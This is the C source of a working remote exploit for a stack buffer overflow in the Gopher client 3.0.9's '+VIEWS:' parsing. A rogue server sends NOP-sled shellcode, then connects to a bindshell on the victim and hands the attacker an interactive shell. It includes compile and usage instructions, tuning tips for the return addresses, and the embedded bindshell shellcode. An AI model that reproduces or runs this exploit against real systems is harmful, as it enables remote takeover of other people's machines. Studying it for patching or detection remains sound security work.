CODE
/*[ gopher[v3.0.9+]: remote (client) buffer overflow exploit. ]
*
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
*
* compile:
* gcc xgopher-client.c -o xgopher-client
*
* syntax:
* ./xgopher-client <port> [bindshell port]
*
* The Internet Gopher Client is based on the UMN
* Gopher/Gopherd 2.3.1 code. Gopher is an Internet technology
* that predates the Web. It presents information as a virtual
* network-wide filesystem. Modern browsers such as Konqueror
* can display gopherspace as if it contained files on your
* local machine (trees, drag and drop, etc.), but the
* difference is that each file or folder in that tree may be
* on a different machine.
*
* this client contains a remotely exploitable buffer overflow
* in the processing of "+VIEWS:" information, located in
* SRC/object/VIews.c in the VIfromLine() function.
*
* this is a stack overflow that can be exploited immediately
* upon the client's connection to an untrusted gopher server.
* while this is a stack overflow, exploitation of this
* overflow is not completely standard, and special values
* will be needed for it to work. (see the first three DEFINEs
* below)
*
* i made this simply to be sure it was possible to exploit,
* tested successfully on mandrake/9.2 with gopher/3.0.9
* compiled from source.
***************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* THE FOLLOWING THREE DEFINES WILL BE UNIQUE TO EACH SYSTEM. */
/* this needs to be replaced as a null-byte will overwrite it. this */
/* can be found in gdb using a trial-run of the exploit. */
/* (gdb) break VIfromLine */
/* Breakpoint 1 at 0x805c2e5: file VIews.c, line 231. */
/* (gdb) run server-running-this-exploit.com 70 */
/* ... */
/* Breakpoint 1, VIfromLine (vi=0x8074f08, ... */
/* -----------------------------^^^^^^^^^ */
/* ... */
#define REPLACE_VI_ADDR 0x08074f08
/* where the shellcode is located. you can use a trial-run to get */
/* this as well, run "objdump -s <core> | grep 90909090" on the */
/* core file, and choose something in the middle of all the */
/* 0xbfff???? addresses dumped. */
#define RET_ADDR 0xbfffe910
/* guess time; try between 0-12, not likely to be anything */
/* higher than that. */
#define PLACEMENT_OFFSET 7
/* FROM HERE ON THE DEFINES DO NOT NEED TO BE MODIFIED. */
#define BUFSIZE 500
#define DFL_BINDSHELL_PORT 7979
#define TIMEOUT 10
static char x86_exec[]= /* bindshell, from netric. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
/* prototypes. */
unsigned char *getcode(void);
char *gopherd_bind(unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */
int main(int argc,char **argv){
unsigned short port=0,sport=DFL_BINDSHELL_PORT;
char *hostptr;
printf("[*] gopher[v3.0.9+]: remote (client) buffer overflow exp"
"loit.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[!] syntax: %s <port> [bindshell port]\n",argv[0]);
exit(1);
}
port=atoi(argv[1]);
if(argc>2)sport=atoi(argv[2]);
/* set the port to bind to in the shellcode. */
x86_exec[20]=(sport&0xff00)>>8;
x86_exec[21]=(sport&0x00ff);
/* verbose values display. */
printf("[*] replacement \"vi\" address\t\t: 0x%.8x\n",REPLACE_VI_ADDR);
printf("[*] return address\t\t\t: 0x%.8x\n",RET_ADDR);
printf("[*] offset from the end of tmpstr[]\t: %d (=%d)\n",
PLACEMENT_OFFSET,PLACEMENT_OFFSET*4);
printf("[*] server port\t\t\t\t: %u\n",port);
printf("[*] bindshell port\t\t\t: %u\n\n",sport);
/* wait for a connection and send overflow. */
hostptr=gopherd_bind(port);
/* be safe, and give it time to run. */
sleep(3);
/* see if a shell spawned. */
getshell(hostptr,sport);
exit(0);
}
/* this is what fills the buffer that will be overflown. (tmpstr[256]) */
unsigned char *getcode(void){
unsigned char *buf;
if(!(buf=(unsigned char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);
/* make everything nops, and overwrite where needed. */
memset(buf,0x90,BUFSIZE);
/* this gives more NOP/guessing room. if it hits before the addresses, */
/* it will jump over them to get to the shellcode. (jumps 8 bytes) */
buf[254+(PLACEMENT_OFFSET*4)]=0xeb; /* jump, */
buf[255+(PLACEMENT_OFFSET*4)]=0x08; /* 8. */
/* return address. */
*(long *)&buf[256+(PLACEMENT_OFFSET*4)]=RET_ADDR;
/* the replacement value will be right after the new return address. */
/* (this is needed because a null-byte will corrupt it, and fault */
/* where not desired) */
*(long *)&buf[260+(PLACEMENT_OFFSET*4)]=REPLACE_VI_ADDR;
/* add shellcode to the end of the buffer. */
memcpy(buf+BUFSIZE-strlen(x86_exec),x86_exec,strlen(x86_exec));
return(buf);
}
char *gopherd_bind(unsigned short port){
int ssock=0,sock=0,so=1;
unsigned int salen=0;
char pseudobuf[2];
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
listen(ssock,1);
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf("[*] gopher server connection established.\n");
/* not really needed, but i feel better with it waiting for it. */
printf("[*] waiting for <any> request/data...\n");
read(sock,pseudobuf,1);
printf("[*] received request/data, sending overflow.\n");
/* setup the precursor to cause the overflow. */
write(sock,"+-1\n",4);
write(sock,"+INFO:\t0filler\tfiller\tfiller\tfiller\n",36);
write(sock,"+VIEWS:\t\n ",10);
/* the overflow. */
write(sock,getcode(),BUFSIZE);
write(sock,"\n",1);
sleep(1);
close(sock);
printf("[*] gopher server connection closed.\n");
return(inet_ntoa(sa.sin_addr));
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)
exit(1);
return;
}
